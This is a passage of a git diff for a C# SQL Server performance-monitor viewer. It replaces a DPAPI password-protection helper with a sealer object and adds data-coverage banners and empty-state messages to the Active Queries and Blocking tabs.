         row.Username = string.IsNullOrWhiteSpace(credential.Value.Username) ? row.Username : credential.Value.Username;
-        row.EncryptedPassword = ViewerServerSecret.Protect(credential.Value.Password);
+        if (sealer is null)
+        {
+            return (null, NoPasswordKeyReason);
+        }
+
+        try
+        {
+            row.EncryptedPassword = sealer.Seal(credential.Value.Password, row);
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            return (null, ex.Message);
+        }
+
         return (row, null);
     }
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs
deleted file mode 100644
index a26d7ec755..0000000000
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (c) 2026 Erik Darling, Darling Data LLC
- *
- * This file is part of the SQL Server Performance Monitor.
- *
- * Licensed under the MIT License. See LICENSE file in the project root for full license information.
- */
-
-using System;
-using System.Runtime.Versioning;
-using System.Security.Cryptography;
-using System.Text;
-
-namespace PerformanceMonitor.Darling.Viewer;
-
-/// <summary>
-/// Produces (and reads back) the DPAPI-LocalMachine password blob the control-plane writes into
-/// <c>config.config_monitored_servers.encrypted_password</c> — the SAME format the service's
-/// <c>PerformanceMonitor.Darling.Service.DarlingSecrets</c> reads with <c>--encrypt-password</c>.
-///
-/// <para>This is DELIBERATELY distinct from <see cref="ViewerSecretStore"/> /
-/// <see cref="WindowsCredentialServerSecretStore"/>, which keep viewer-local secrets in the per-USER
-/// Windows Credential Manager. A monitored-server secret has to be decryptable by the SERVICE account,
-/// so it must be a DPAPI-<b>LocalMachine</b> blob with the service's entropy, not a per-user vault entry.
-/// LocalMachine scope is exactly why the service uses it (its comment: an administrator can encrypt a
-/// password interactively that the service account later decrypts on the same machine). This works for
-/// the managed single-box deploy (viewer + service on one host); a remote viewer producing a blob a
-/// different service host can't decrypt is the documented service-side-provision path.</para>
-///
-/// <para>The entropy string is duplicated from the service's <c>DarlingSecrets.s_entropy</c> byte-for-byte
-/// under the SAME "sliver rule" <see cref="ViewerSettings"/> already follows for the managed-Postgres
-/// credential (the viewer does not reference the Service project); a Darling.Tests round-trip pins them in
-/// lockstep so a drift is caught.</para>
-/// </summary>
-[SupportedOSPlatform("windows")]
-public static class ViewerServerSecret
-{
-    /* Must equal PerformanceMonitor.Darling.Service.DarlingSecrets.s_entropy byte-for-byte, or a
-       blob this viewer writes cannot be decrypted by the service (pinned by ViewerServerSecretTests). */
-    private static readonly byte[] s_entropy = Encoding.UTF8.GetBytes("PerformanceMonitor.Darling.v1");
-
-    /// <summary>DPAPI-LocalMachine-protects a plaintext password and returns the base64 blob for the store.</summary>
-    public static string Protect(string plaintext)
-    {
-        ArgumentNullException.ThrowIfNull(plaintext);
-
-        var protectedBytes = ProtectedData.Protect(
-            Encoding.UTF8.GetBytes(plaintext), s_entropy, DataProtectionScope.LocalMachine);
-        return Convert.ToBase64String(protectedBytes);
-    }
-
-    /// <summary>
-    /// Reverses <see cref="Protect"/> for the Edit dialog's password pre-fill, returning null (never throwing)
-    /// when the blob is empty, malformed, or was produced on a different machine (a remote-viewer blob this
-    /// host's DPAPI key can't open) — the dialog then shows a blank password with a "re-enter to change" hint
-    /// rather than dead-clicking into a cryptographic error.
-    /// </summary>
-    public static string? TryUnprotect(string? base64Blob)
-    {
-        if (string.IsNullOrWhiteSpace(base64Blob))
-        {
-            return null;
-        }
-
-        try
-        {
-            var plainBytes = ProtectedData.Unprotect(
-                Convert.FromBase64String(base64Blob), s_entropy, DataProtectionScope.LocalMachine);
-            return Encoding.UTF8.GetString(plainBytes);
-        }
-        catch (Exception ex) when (ex is FormatException or CryptographicException)
-        {
-            return null;
-        }
-    }
-}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSetSync.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSetSync.cs
index 7e89477f79..1936b1322b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSetSync.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSetSync.cs
@@ -16,7 +16,7 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// <summary>
 /// Decides whether the viewer's server list needs reloading because a server was added or removed outside
 /// this window — another viewer, the web viewer, the MCP add and remove tools — and runs the reload when it
-/// does. The fleet refresh tick calls it; nothing else does.
+/// does. The fleet refresh tick calls <see cref="ApplyAsync"/>; nothing else does.
 ///
 /// <para><b>Compared by server id, and only the set.</b> The registry side is the config list only
 /// (<c>GetConfigManagedServersAsync</c>), which on a seeded store is the list the loaded side came from, so
@@ -35,6 +35,10 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// cleanup the context-menu remove runs, and this runs it for each removed server before the reload. A
 /// local remove leaves that server's open tab where it is, showing the history already collected, so this
 /// leaves it too.</para>
+///
+/// <para><b>A rebuild keeps what each picker shows.</b> <see cref="PickerSelectionAfterReload"/> picks the server
+/// that the Recommendations picker shows after its list is rebuilt. The FinOps picker follows the same keep-or-sidebar
+/// rule through <see cref="FinOpsServerChoice.Selection"/>, which also skips PostgreSQL targets when it must choose.</para>
 /// </summary>
 internal static class ViewerServerSetSync
 {
@@ -91,4 +95,27 @@ internal static async Task<bool> ApplyAsync(
 
         return true;
     }
+
+    /// <summary>
+    /// The server a picker shows after the server list is rebuilt: the server it showed before, while that one is
+    /// still in <paramref name="servers"/>; otherwise the sidebar's server; otherwise the first server. Null when
+    /// the list is empty. A rebuild is not the user choosing a server, so only a picker whose server is gone
+    /// moves. The initial load passes no previous server, so its pickers start on the sidebar's server.
+    /// </summary>
+    internal static DarlingServer? PickerSelectionAfterReload(
+        IReadOnlyList<DarlingServer> servers,
+        int? previousServerId,
+        int? sidebarServerId)
+    {
+        ArgumentNullException.ThrowIfNull(servers);
+
+        if (servers.Count == 0)
+        {
+            return null;
+        }
+
+        return servers.FirstOrDefault(server => server.ServerId == previousServerId)
+            ?? servers.FirstOrDefault(server => server.ServerId == sidebarServerId)
+            ?? servers[0];
+    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs
index 31e1fc8a10..75fa630c62 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using System.Windows;
+using PerformanceMonitor.Ui;
 using System.Windows.Controls;
 using PerformanceMonitor.Common;
 using static PerformanceMonitor.Ui.DataGridHelpers;
@@ -73,18 +74,29 @@ read. Honor a pending deep-link window instead so a concurrent activation load u
         if (_pendingActiveQueriesWindow is { } pending)
         {
             _pendingActiveQueriesWindow = null;
-            var (pendingTotalCount, pendingSnapshots) = await _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, pending.FromUtc, pending.ToUtc, databaseNames: SelectedDatabaseFilter);
+            var pendingDataStartTask = _dataService.GetQuerySnapshotsDataStartAsync(_server.ServerId, pending.FromUtc, pending.ToUtc);
+            var pendingReadTask = _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, pending.FromUtc, pending.ToUtc, databaseNames: SelectedDatabaseFilter);
+            await AwaitReadWatchingProbeAsync(pendingReadTask, pendingDataStartTask, "Active Queries");
+            var (pendingTotalCount, pendingSnapshots) = pendingReadTask.Result;
             _querySnapshotsFilterMgr!.UpdateData(pendingSnapshots);
             LatestSnapshotIndicator.Text = pendingSnapshots.Count < pendingTotalCount
                 ? $"{pending.Indicator} — Showing the newest 1,000 of {pendingTotalCount:N0}"
                 : pending.Indicator;
+            UpdateTruncationBanner(QuerySnapshotsTruncationBanner, await DataStartOrNullAsync(pendingDataStartTask, "Active Queries"), pending.FromUtc);
             await LoadActiveQueriesSlicerAsync(pending.FromUtc.AddHours(-1), pending.ToUtc.AddHours(1));
             return;
         }
 
-        var (totalCount, snapshots) = await _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        /* query_snapshots keeps 7 days by default, and a custom range can reach past it, or past a server added
+           since: say where coverage starts (the Queries tab's "Showing since" banner) rather than draw a shorter
+           range as if it were the whole. */
+        var dataStartTask = _dataService.GetQuerySnapshotsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Active Queries");
+        var (totalCount, snapshots) = dataReadTask.Result;
         _querySnapshotsFilterMgr!.UpdateData(snapshots);
         LatestSnapshotIndicator.Text = snapshots.Count < totalCount ? $"Showing the newest 1,000 of {totalCount:N0}" : "";
+        UpdateTruncationBanner(QuerySnapshotsTruncationBanner, await DataStartOrNullAsync(dataStartTask, "Active Queries"), startUtc);
         await LoadActiveQueriesSlicerAsync(startUtc, endUtc);
     }
 
@@ -93,7 +105,9 @@ private async Task LoadActiveQueriesSlicerAsync(DateTime startUtc, DateTime endU
         var data = await _dataService.GetActiveQuerySlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
         _activeQueriesSlicerData = data;
         _activeQueriesSlicerMetric = "Sessions";
-        if (data.Count > 0)
+        if (data.Count == 0)
+            ActiveQueriesSlicer.ShowEmpty("No active query samples in the selected time window.");
+        else
             ActiveQueriesSlicer.LoadData(data, "Sessions", startUtc, endUtc);
     }
 
@@ -101,9 +115,13 @@ private async void OnActiveQueriesSlicerChanged(object? sender, SlicerRangeEvent
     {
         try
         {
-            var (totalCount, snapshots) = await _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            var dataStartTask = _dataService.GetQuerySnapshotsDataStartAsync(_server.ServerId, e.StartUtc, e.EndUtc);
+            var dataReadTask = _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Active Queries");
+            var (totalCount, snapshots) = dataReadTask.Result;
             _querySnapshotsFilterMgr!.UpdateData(snapshots);
             LatestSnapshotIndicator.Text = snapshots.Count < totalCount ? $"Showing the newest 1,000 of {totalCount:N0}" : "";
+            UpdateTruncationBanner(QuerySnapshotsTruncationBanner, await DataStartOrNullAsync(dataStartTask, "Active Queries"), e.StartUtc);
         }
         catch (Exception ex)
         {
@@ -184,6 +202,11 @@ private async void LatestSnapshot_Click(object sender, RoutedEventArgs e)
             LatestSnapshotIndicator.Text = "Loading...";
             var (batchTime, rows) = await _dataService.GetLatestQuerySnapshotBatchAsync(_server.ServerId, databaseNames: SelectedDatabaseFilter);
             _querySnapshotsFilterMgr!.UpdateData(rows);
+            /* #4953: the grid now holds the newest stored batch, not the range the "Showing since" banner described, so the
+               banner comes down (collapsed, text cleared). The next range read raises it again through UpdateTruncationBanner.
+               A failed read never reaches this line: the range rows stay in the grid, and so does the banner that describes them. */
+            QuerySnapshotsTruncationBanner.Visibility = Visibility.Collapsed;
+            QuerySnapshotsTruncationBanner.Text = string.Empty;
             LatestSnapshotIndicator.Text = batchTime.HasValue
                 ? $"Latest snapshot: {ViewerTimeHelper.FormatForDisplay(batchTime.Value, "yyyy-MM-dd HH:mm:ss")}"
                 : "No snapshots stored";
@@ -327,7 +350,9 @@ internal async Task DeepLinkToActiveQueriesAsync(DateTime fromUtc, DateTime toUt
     /// Switches to the Active Queries sub-tab and loads the grid + slicer for a narrow window — the target
     /// of the heatmap drill-down. The suppress flag skips the sub-tab auto-refresh so it doesn't clobber
     /// this filtered read (Lite's SelectActiveQueriesForDrillDown). The slicer window is padded ±1h so the
-    /// hourly buckets still overlap a narrow drill window (Lite's LoadActiveQueriesSlicerAsync padding).
+    /// hourly buckets still overlap a narrow drill window (Lite's LoadActiveQueriesSlicerAsync padding). The
+    /// "Showing since" banner is set for the drill window too, as every other read of this grid sets it for the
+    /// window it draws (#4953); left alone it would keep describing the last range read.
     /// </summary>
     private async Task NavigateToActiveQueriesForWindowAsync(DateTime fromUtc, DateTime toUtc, string indicator)
     {
@@ -346,11 +371,20 @@ private async Task NavigateToActiveQueriesForWindowAsync(DateTime fromUtc, DateT
             _suppressDrillDownAutoRefresh = false;
         }
 
-        var (totalCount, snapshots) = await _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, fromUtc, toUtc, databaseNames: SelectedDatabaseFilter);
+        /* The drill window can start before what query_snapshots still holds (retention, or a server added since), and
+           the banner the last range read raised describes THAT range, so it could claim a cut this window does not have
+           or miss one it does: ask the probe about the window drawn here (fromUtc, not the toolbar's start), beside the
+           rows read, and set the banner once they are bound, as the deep-link branch of LoadActiveQueriesAsync does for
+           the same window (a deep link reaches both, and the two writes agree). */
+        var dataStartTask = _dataService.GetQuerySnapshotsDataStartAsync(_server.ServerId, fromUtc, toUtc);
+        var dataReadTask = _dataService.GetLatestQuerySnapshotsAsync(_server.ServerId, fromUtc, toUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Active Queries");
+        var (totalCount, snapshots) = dataReadTask.Result;
         _querySnapshotsFilterMgr!.UpdateData(snapshots);
         LatestSnapshotIndicator.Text = snapshots.Count < totalCount
             ? $"{indicator} — Showing the newest 1,000 of {totalCount:N0}"
             : indicator;
+        UpdateTruncationBanner(QuerySnapshotsTruncationBanner, await DataStartOrNullAsync(dataStartTask, "Active Queries"), fromUtc);
 
         await LoadActiveQueriesSlicerAsync(fromUtc.AddHours(-1), toUtc.AddHours(1));
     }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs
index 3ab5a57151..ea4f05211a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs
@@ -135,22 +135,46 @@ private async Task LoadBlockingAsync()
         {
             case BlockingTrendsSubTabIndex:
             {
-                using var readFanOut = ViewerReadFanOut.Of(3);
+                /* Six reads in flight: the three trend series and the three charts' data-start probes (#4966). */
+                using var readFanOut = ViewerReadFanOut.Of(6);
 
                 var lockWaitTask = _dataService.GetLockWaitTrendAsync(_server.ServerId, startUtc, endUtc);
                 var blockingTask = _dataService.GetBlockingTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
                 var deadlockTask = _dataService.GetDeadlockTrendAsync(_server.ServerId, startUtc, endUtc);
-                var lockWaits = await lockWaitTask;
-                var blocking = await blockingTask;
-                var deadlocks = await deadlockTask;
+                /* #4966: each chart has its own floor (wait_stats, the blocked-process-report sources, deadlocks), so each has its own probe
+                   and banner. The probes start beside the reads and stay OUT of any join, so one that throws costs only its chart's note. */
+                var lockWaitStartTask = _dataService.GetLockWaitTrendDataStartAsync(_server.ServerId, startUtc, endUtc);
+                var blockingStartTask = _dataService.GetBlockingChartDataStartAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+                var deadlockStartTask = _dataService.GetDeadlocksDataStartAsync(_server.ServerId, startUtc, endUtc);
+
+                /* #5022: a join that throws skips the banner steps below, so the probes would go unawaited. Each call watches one probe and
+                   passes the join on, so all three are watched, and a probe that fails later is a warning and not an unobserved Error. */
+                await AwaitReadWatchingProbeAsync(
+                    AwaitReadWatchingProbeAsync(
+                        AwaitReadWatchingProbeAsync(Task.WhenAll(lockWaitTask, blockingTask, deadlockTask), lockWaitStartTask, "Lock Wait Trend"),
+                        blockingStartTask, "Blocking Trend"),
+                    deadlockStartTask, "Deadlock Trend");
+
+                /* The six are done: the banner steps below only await probes already running. */
+                readFanOut.Release();
+
+                var lockWaits = lockWaitTask.Result;
+                var blocking = blockingTask.Result;
+                var deadlocks = deadlockTask.Result;
                 RenderLockWaitTrendChart(lockWaits);
                 RenderBlockingTrendChart(blocking);
                 RenderDeadlockTrendChart(deadlocks);
+                /* Lock Wait is a rate series: its points are date_bin bucket starts clamped to the window start, not events, so a point
+                   can sit before the real first collection. Its note names the coverage start alone (the Current Waits pattern). */
+                UpdateTruncationBanner(LockWaitTrendTruncationBanner, await DataStartOrNullAsync(lockWaitStartTask, "Lock Wait Trend"), startUtc);
+                await ShowEventDataStartAsync(BlockingTrendTruncationBanner, blockingStartTask, "Blocking Trend", startUtc, ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(blocking));
+                await ShowEventDataStartAsync(DeadlockTrendTruncationBanner, deadlockStartTask, "Deadlock Trend", startUtc, ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(deadlocks));
                 break;
             }
             case BlockingStatsSubTabIndex:
             {
-                using var readFanOut = ViewerReadFanOut.Of(3);
+                /* Five reads in flight: the three below and the two floors' data-start probes (#4966). */
+                using var readFanOut = ViewerReadFanOut.Of(5);
 
                 /* Blocking SEVERITY: the duration aggregate reconciles with the count trend (same XE→DMV
                    source selection); the deadlock COUNT is the cheap sibling of the Trends tab's deadlock
@@ -158,29 +182,59 @@ private async Task LoadBlockingAsync()
                    total/max/avg wait, parsed on-the-fly from deadlock_graph_xml) is drawn from the SAME
                    v_deadlocks window as the count (deadlock_time in the window, plus the collection_time
                    floor), so the two reconcile in period. */
-                var durationStatsTask = _dataService.GetBlockingDurationStatsAsync(_server.ServerId, startUtc, endUtc);
+                var durationStatsTask = _dataService.GetBlockingDurationStatsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
                 var deadlockCountTask = _dataService.GetDeadlockTrendAsync(_server.ServerId, startUtc, endUtc);
                 var deadlockSeverityTask = _dataService.GetDeadlockSeverityStatsAsync(_server.ServerId, startUtc, endUtc);
-                var durationStats = await durationStatsTask;
-                var deadlockCounts = await deadlockCountTask;
-                var deadlockSeverity = await deadlockSeverityTask;
+                /* #4966: the blocking pair draws from the blocked-process-report sources and the deadlock pair from deadlocks, so each pair has its
+                   own probe and banner. The probes stay OUT of any join: one that throws costs only its pair's note. */
+                var blockingStartTask = _dataService.GetBlockingChartDataStartAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+                var deadlockStartTask = _dataService.GetDeadlocksDataStartAsync(_server.ServerId, startUtc, endUtc);
+
+                /* #5022: as in Trends, each call watches one probe and passes the join on. */
+                await AwaitReadWatchingProbeAsync(
+                    AwaitReadWatchingProbeAsync(Task.WhenAll(durationStatsTask, deadlockCountTask, deadlockSeverityTask), blockingStartTask, "Blocking Stats (blocking)"),
+                    deadlockStartTask, "Blocking Stats (deadlocks)");
+
+                /* The five are done: the banner steps below only await probes already running. */
+                readFanOut.Release();
+
+                var durationStats = durationStatsTask.Result;
+                var deadlockCounts = deadlockCountTask.Result;
+                var deadlockSeverity = deadlockSeverityTask.Result;
                 RenderBlockingDurationChart(durationStats);
                 RenderBlockingTotalDurationChart(durationStats);
                 RenderDeadlockWaitChart(deadlockSeverity);
                 RenderDeadlockTotalWaitChart(deadlockSeverity);
                 UpdateBlockingStatsSummary(durationStats, deadlockCounts, deadlockSeverity);
+                await ShowEventDataStartAsync(
+                    BlockingStatsBlockingTruncationBanner, blockingStartTask, "Blocking Stats (blocking)", startUtc,
+                    durationStats.Where(p => p.EventCount > 0).Select(p => (DateTime?)p.Time));
+                await ShowEventDataStartAsync(
+                    BlockingStatsDeadlockTruncationBanner, deadlockStartTask, "Blocking Stats (deadlocks)", startUtc,
+                    deadlockSeverity.Select(p => (DateTime?)p.Time));
                 break;
             }
             case BlockingCurrentWaitsSubTabIndex:
             {
-                using var readFanOut = ViewerReadFanOut.Of(2);
+                using var readFanOut = ViewerReadFanOut.Of(3);
 
+                /* waiting_tasks keeps 7 days by default, and a custom range can reach past it, or past a server
+                   added since: say where coverage starts (the Queries tab's "Showing since" banner) rather than
+                   draw a shorter range as if it were the whole. Both charts read waiting_tasks, so one banner
+                   covers them. */
+                var dataStartTask = _dataService.GetWaitingTasksDataStartAsync(_server.ServerId, startUtc, endUtc);
                 var durationTask = _dataService.GetWaitingTaskTrendAsync(_server.ServerId, startUtc, endUtc);
                 var blockedTask = _dataService.GetBlockedSessionTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+                await AwaitReadWatchingProbeAsync(Task.WhenAll(durationTask, blockedTask), dataStartTask, "Current Waits");
+
+                /* The three are done; the banner step below awaits the probe alone, so it is not priced against the width of reads that finished. */
+                readFanOut.Release();
+
                 var duration = await durationTask;
                 var blocked = await blockedTask;
                 RenderCurrentWaitsDurationChart(duration);
                 RenderCurrentWaitsBlockedChart(blocked);
+                UpdateTruncationBanner(CurrentWaitsTruncationBanner, await DataStartOrNullAsync(dataStartTask, "Current Waits"), startUtc);
                 break;
             }
             case BlockedProcessReportsSubTabIndex:
@@ -202,8 +256,15 @@ v_deadlocks window as the count (deadlock_time in the window, plus the collectio
     /// </summary>
     private async Task LoadBlockedProcessReportsAsync(DateTime startUtc, DateTime endUtc)
     {
-        var rows = await _dataService.GetRecentBlockedProcessReportsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        /* #4966: say where the reports start (the Queries tab's "Showing since" banner), the earlier of the collector's
+           coverage and the earliest report shown (an event time can reach before the server was added). */
+        var dataStartTask = _dataService.GetBlockedProcessReportsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.ReadRecentBlockedProcessReportsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Blocked Process Reports");
+        var read = dataReadTask.Result;
+        var rows = read.Rows;
         _blockedProcessFilterMgr!.UpdateData(rows);
+        await ShowEventDataStartAsync(BlockedProcessReportsTruncationBanner, dataStartTask, "Blocked Process Reports", startUtc, rows.Select(r => r.EventTime), ViewerDataService.BlockedProcessReportsRowCap, read.CappedSourceStartUtc);
         await ShowSeparatelyMonitoredNotesAsync();
         await LoadBlockingSlicerAsync(startUtc, endUtc);
     }
@@ -229,9 +290,14 @@ private async Task ShowSeparatelyMonitoredNotesAsync()
     /// </summary>
     private async Task LoadDeadlocksAsync(DateTime startUtc, DateTime endUtc)
     {
-        var rows = await _dataService.GetRecentDeadlocksAsync(_server.ServerId, startUtc, endUtc);
+        /* #4966: the same banner as Blocked Process Reports, over the deadlocks' own time. */
+        var dataStartTask = _dataService.GetDeadlocksDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetRecentDeadlocksAsync(_server.ServerId, startUtc, endUtc);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Deadlocks");
+        var rows = dataReadTask.Result;
         var details = await ParseDeadlocksOffUiThreadAsync(rows);
         _deadlockFilterMgr!.UpdateData(details);
+        await ShowEventDataStartAsync(DeadlocksTruncationBanner, dataStartTask, "Deadlocks", startUtc, rows.Select(r => r.DeadlockTime), ViewerDataService.DeadlocksRowCap);
         await ShowSeparatelyMonitoredNotesAsync();
         await LoadDeadlockSlicerAsync(startUtc, endUtc);
     }
@@ -247,7 +313,9 @@ private async Task LoadBlockingSlicerAsync(DateTime startUtc, DateTime endUtc)
         var data = await _dataService.GetBlockingSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
         _blockingSlicerData = data;
         _blockingSlicerMetric = "Events";
-        if (data.Count > 0)
+        if (data.Count == 0)
+            BlockingSlicer.ShowEmpty("No blocked process reports in the selected time window.");
+        else
             BlockingSlicer.LoadData(data, "Blocking Events", startUtc, endUtc);
     }
 
@@ -255,7 +323,9 @@ private async Task LoadDeadlockSlicerAsync(DateTime startUtc, DateTime endUtc)
     {
         var data = await _dataService.GetDeadlockSlicerDataAsync(_server.ServerId, startUtc, endUtc);
         _deadlockSlicerData = data;
-        if (data.Count > 0)
+        if (data.Count == 0)
+            DeadlockSlicer.ShowEmpty("No deadlocks in the selected time window.");
+        else
             DeadlockSlicer.LoadData(data, "Deadlocks", startUtc, endUtc);
     }
 
@@ -264,8 +334,13 @@ private async void OnBlockingSlicerChanged(object? sender, SlicerRangeEventArgs
     {
         try
         {
-            var rows = await _dataService.GetRecentBlockedProcessReportsAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            var dataStartTask = _dataService.GetBlockedProcessReportsDataStartAsync(_server.ServerId, e.StartUtc, e.EndUtc);
+            var dataReadTask = _dataService.ReadRecentBlockedProcessReportsAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Blocked Process Reports");
+            var read = dataReadTask.Result;
+            var rows = read.Rows;
             _blockedProcessFilterMgr!.UpdateData(rows);
+            await ShowEventDataStartAsync(BlockedProcessReportsTruncationBanner, dataStartTask, "Blocked Process Reports", e.StartUtc, rows.Select(r => r.EventTime), ViewerDataService.BlockedProcessReportsRowCap, read.CappedSourceStartUtc);
         }
         catch (Exception ex)
         {
@@ -277,8 +352,12 @@ private async void OnDeadlockSlicerChanged(object? sender, SlicerRangeEventArgs
     {
         try
         {
-            var rows = await _dataService.GetRecentDeadlocksAsync(_server.ServerId, e.StartUtc, e.EndUtc);
+            var dataStartTask = _dataService.GetDeadlocksDataStartAsync(_server.ServerId, e.StartUtc, e.EndUtc);
+            var dataReadTask = _dataService.GetRecentDeadlocksAsync(_server.ServerId, e.StartUtc, e.EndUtc);
+            await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Deadlocks");
+            var rows = dataReadTask.Result;
             _deadlockFilterMgr!.UpdateData(await ParseDeadlocksOffUiThreadAsync(rows));
+            await ShowEventDataStartAsync(DeadlocksTruncationBanner, dataStartTask, "Deadlocks", e.StartUtc, rows.Select(r => r.DeadlockTime), ViewerDataService.DeadlocksRowCap);
         }
         catch (Exception ex)
         {
@@ -435,6 +514,7 @@ private void RenderBlockingTrendChart(List<BlockingTrendPoint> data)
         var rangeEnd = winEndUtc;
 
         _blockingTrendHover?.Clear();
+        EmptyState.Show(BlockingTrendChart, data.Count == 0, "No blocking in the selected time window.", clearOfBaseline: true);
         if (data.Count == 0)
         {
             /* No blocking events — show a flat line at zero so the chart looks active */
@@ -489,7 +569,7 @@ private void RenderBlockingTrendChart(List<BlockingTrendPoint> data)
         BlockingTrendChart.Plot.Axes.DateTimeTicksBottomUtc(ViewerTimeHelper.CurrentDisplayZone);
         BlockingTrendChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingTrendChart);
-        BlockingTrendChart.Plot.YLabel("Blocking Incidents");
+        BlockingTrendChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Blocking Incidents", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingTrendChart, 0, data.Max(d => d.Count));
         ShowChartLegend(BlockingTrendChart);
         BlockingTrendChart.Refresh();
@@ -505,6 +585,7 @@ private void RenderDeadlockTrendChart(List<BlockingTrendPoint> data)
         var rangeEnd = winEndUtc;
 
         _deadlockTrendHover?.Clear();
+        EmptyState.Show(DeadlockTrendChart, data.Count == 0, "No deadlocks in the selected time window.", clearOfBaseline: true);
         if (data.Count == 0)
         {
             /* No deadlocks — show a flat line at zero so the chart looks active */
@@ -621,7 +702,7 @@ private void RenderBlockingDurationChart(List<BlockingDurationStatsPoint> data)
         BlockingDurationChart.Plot.Axes.DateTimeTicksBottomUtc(ViewerTimeHelper.CurrentDisplayZone);
         BlockingDurationChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingDurationChart);
-        BlockingDurationChart.Plot.YLabel("Block Duration (ms)");
+        BlockingDurationChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Block Duration (ms)", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingDurationChart, 0, globalMax > 0 ? globalMax : 1);
         ShowChartLegend(BlockingDurationChart);
         BlockingDurationChart.Refresh();
@@ -676,7 +757,7 @@ private void RenderBlockingTotalDurationChart(List<BlockingDurationStatsPoint> d
         BlockingTotalDurationChart.Plot.Axes.DateTimeTicksBottomUtc(ViewerTimeHelper.CurrentDisplayZone);
         BlockingTotalDurationChart.Plot.Axes.SetLimitsX(rangeStart.ToOADate(), rangeEnd.ToOADate());
         ReapplyAxisColors(BlockingTotalDurationChart);
-        BlockingTotalDurationChart.Plot.YLabel("Total Block Duration (ms)");
+        BlockingTotalDurationChart.Plot.YLabel(PerformanceMonitor.Ui.BlockingSourceLabel.For("Total Block Duration (ms)", data.Select(d => d.Source)));
         SetChartYLimitsWithLegendPadding(BlockingTotalDurationChart, 0, globalMax > 0 ? globalMax : 1);
         ShowChartLegend(BlockingTotalDurationChart);
         BlockingTotalDurationChart.Refresh();
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs
index 5837aae6bd..fc9fd85436 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs
@@ -13,8 +13,10 @@
 using System.Threading;
